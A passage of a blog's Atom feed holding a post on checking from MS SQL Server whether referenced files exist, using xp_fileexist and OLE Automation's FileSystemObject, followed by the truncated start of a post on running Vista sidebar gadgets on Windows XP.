class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_OACreate&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Scripting.FileSystemObject&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_OAMethod&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;FileExists&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_OADestroy&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;END&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But... unfortunately, this gave the same results.&lt;/p&gt;&#xA;&lt;p&gt;So, the moral of the story? Kids, MS SQL just can&#39;t see mapped drives. Give it up now!&lt;/p&gt;&#xA;&lt;p&gt;That said, UNC paths work fine and if you&#39;re lucky enough to have all your data on a drive that&#39;s local to the SQL server, and find yourself needing to know if a file you&#39;ve got referenced still exists, then give these methods a try! YMMV.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;** Update **: Well, duh, what I wasn&#39;t paying attention to at the time was that the mapped drive wasn&#39;t mapped &lt;em&gt;on the SQL server&lt;/em&gt;. If this was true, it probably would have worked. Either way -- storing absolute paths in the database, if they aren&#39;t UNC paths, is just asking for trouble.&lt;/em&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Today in the course of my work, I came across a situation where some of the files referred to in our SQL database were not actually on disk where we thought they were.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was a largeish database of files (over 10,000), and we thought there might be as many as 1600 files missing, so I didn&#39;t want to go through each one manually to find the missing files. That led me to this solution: creating a function in SQL to check if the files exist.&lt;/p&gt;&#xA;&lt;p&gt;The first method I tried for doing this used an undocumented system stored procedure in MSSQL, called &lt;code&gt;xp_fileexist&lt;/code&gt;. The code for that looks like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- using MSSQL built-in stored proc xp_fileexist&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;CREATE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FUNCTION&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FileExists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;varchar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;255&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RETURNS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;BIT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;AS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;BEGIN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;DECLARE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;EXEC&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;master&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;..&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xp_fileexist&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RETURN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;END&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&#39;s a pretty simple wrapper around the stored-procedure. Implementing it as a function provides a more versatile tool for querying however, as shown in this example usage:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;--- usage&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tbl_FileInformation&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dbo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FileExists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PathAndFile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;True&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Unfortunately, this didn&#39;t do the trick for us at that time. MS SQL server apparently cannot, under any circumstances, see mapped drives. All of our data was on a drive called &lt;code&gt;P:&lt;/code&gt;, which was mapped to a network accessible storage device, that our whole company uses. Not to be discouraged, I thought to myself &amp;quot;Well, perhaps it&#39;s just a limitation of the &lt;code&gt;xp_cmdshell&lt;/code&gt; options, not SQL server as a whole. May there&#39;s another way of finding this out...&amp;quot;. So that led me to write this next function, which uses &lt;code&gt;Scripting.FileSystemObject&lt;/code&gt; via the OLE Automation Options. First things first, I needed to run the following commands to enable OLE Automation, to make it possible:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- configuring for use of scripting object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_configure&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;show advanced options&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RECONFIGURE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_configure&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Ole Automation Procedures&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RECONFIGURE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s the SQL native way, the other option is to use &lt;code&gt;Surface Area Configuartion&lt;/code&gt; and enable it via the check-box. Once that was out of the way, I could try out my function...&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- Using the scripting object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;CREATE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FUNCTION&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FileExists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;varchar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;255&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RETURNS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;BIT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;AS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;BEGIN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;declare&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;declare&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_OACreate&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Scripting.FileSystemObject&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_OAMethod&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;FileExists&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_OADestroy&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;END&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But... unfortunately, this gave the same results.&lt;/p&gt;&#xA;&lt;p&gt;So, the moral of the story? Kids, MS SQL just can&#39;t see mapped drives. Give it up now!&lt;/p&gt;&#xA;&lt;p&gt;That said, UNC paths work fine and if you&#39;re lucky enough to have all your data on a drive that&#39;s local to the SQL server, and find yourself needing to know if a file you&#39;ve got referenced still exists, then give these methods a try! YMMV.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;** Update **: Well, duh, what I wasn&#39;t paying attention to at the time was that the mapped drive wasn&#39;t mapped &lt;em&gt;on the SQL server&lt;/em&gt;. If this was true, it probably would have worked. Either way -- storing absolute paths in the database, if they aren&#39;t UNC paths, is just asking for trouble.&lt;/em&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>vista sidebar on XP 2</title>
		<id>https://blog.thoward37.me/articles/vista-sidebar-on-xp-2</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/vista-sidebar-on-xp-2" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/vista-sidebar-on-xp-2" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/vista-sidebar-on-xp-2" type="text/html"></link>
		<published>2007-02-08T13:45:00+00:00</published>
		<updated>2007-02-08T13:45:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Well, I was very excited about &lt;a href=&#34;http://vanguard-against-confusion.blogspot.com/2007/02/vista-sidebar-on-xp.html&#34;&gt;getting the Vista sidebar to work on XP&lt;/a&gt;, until I started playing with the Gadgets.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;It turns out the patched version of the Sidebar executable is from a early beta version of Vista. The unfortunate point about that, is that the Gadgets that work with the XP version are vastly different than the Gadgets for the released version of Vista. That means all the gadgets that you can download don&#39;t work with the XP version. It also means that all the information about developing Gadgets for the Sidebar is relevant to the Vista version, not the XP version.&lt;/p&gt;&#xA;&lt;p&gt;To detail some of the differences:&lt;/p&gt;&#xA;&lt;p&gt;In the early release, Gadgets are not even called Gadgets, they are called Parts. Parts and Gadgets are very similar, in that they both are a zip file containing what amounts to a mini-webpage which is loaded and interpreted by the Sidebar.&lt;/p&gt;&#xA;&lt;p&gt;In the XP version, a &lt;code&gt;Part&lt;/code&gt; is a zip file with the extension changed to &lt;code&gt;.part&lt;/code&gt;, in Vista the extension is &lt;code&gt;.gadget&lt;/code&gt;. In XP, the directory where those files are stored is &lt;code&gt;%userdir%\Parts&lt;/code&gt;, in Vista it&#39;s &lt;code&gt;%userdir%\AppData\Local\Microsoft\Windows\SidebarGadgets&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Parts require a &lt;code&gt;Manifest.XML&lt;/code&gt; file, while Gadgets require a &lt;code&gt;Gadget.xml&lt;/code&gt; file. The contents of those files, while containing nearly the same data, use different names for all the tags, making them not compatible.&lt;/p&gt;&#xA;&lt;p&gt;Beyond that there are a number of other subtle differences, as well as a generally 